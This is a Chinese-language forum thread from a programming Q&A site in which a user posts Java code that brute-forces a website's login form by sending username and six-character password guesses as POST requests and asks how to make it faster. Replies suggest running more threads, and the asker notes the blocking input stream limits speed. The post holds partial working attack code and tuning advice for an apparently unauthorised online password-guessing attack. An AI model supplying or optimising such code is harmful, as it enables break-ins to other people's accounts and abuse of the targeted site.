模拟post请求 暴力破解密码 如何优化

J2EE 码拜 9年前 (2015-04-13) 2320次浏览 0个评论

已知某网站登录是用户名和六位字符密码 两个参数post方法提交。我现在模拟post提交,但是速度太慢,一分钟才遍历120次,有没有什么方法可以优化下代码
部分代码如下:
//连接地址
String surl = “http://**************************”;
URL url = new URL(surl); 
URLConnection connection = url.openConnection(); 
connection.setDoOutput(true); 
OutputStreamWriter out = new OutputStreamWriter(connection 
.getOutputStream(), “UTF-8”); 
out.write(“UserName=”+username+”&PassWord=”+password); 
out.flush(); 
out.close(); 
String sCurrentLine; 
String sTotalString; 
sCurrentLine = “”; 
sTotalString = “”; 
InputStream l_urlStream; 
l_urlStream = connection.getInputStream(); 
if (connection.getHeaderField(“Location”) != null) {
return true;
}

模拟post请求 暴力破解密码 如何优化
20分
多开线程试试。。
模拟post请求 暴力破解密码 如何优化
网站做的太垃圾了 这种暴力破解那么简单 
模拟post请求 暴力破解密码 如何优化
引用 1 楼 gagewang1 的回复:

多开线程试试。。

试过了 感觉差不多     好像因为内个getInputStream是阻塞方法   还是要等待  


CodeBye 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明模拟post请求 暴力破解密码 如何优化
喜欢 (0)
[1034331897@qq.com]
分享 (0)

文章评论已关闭!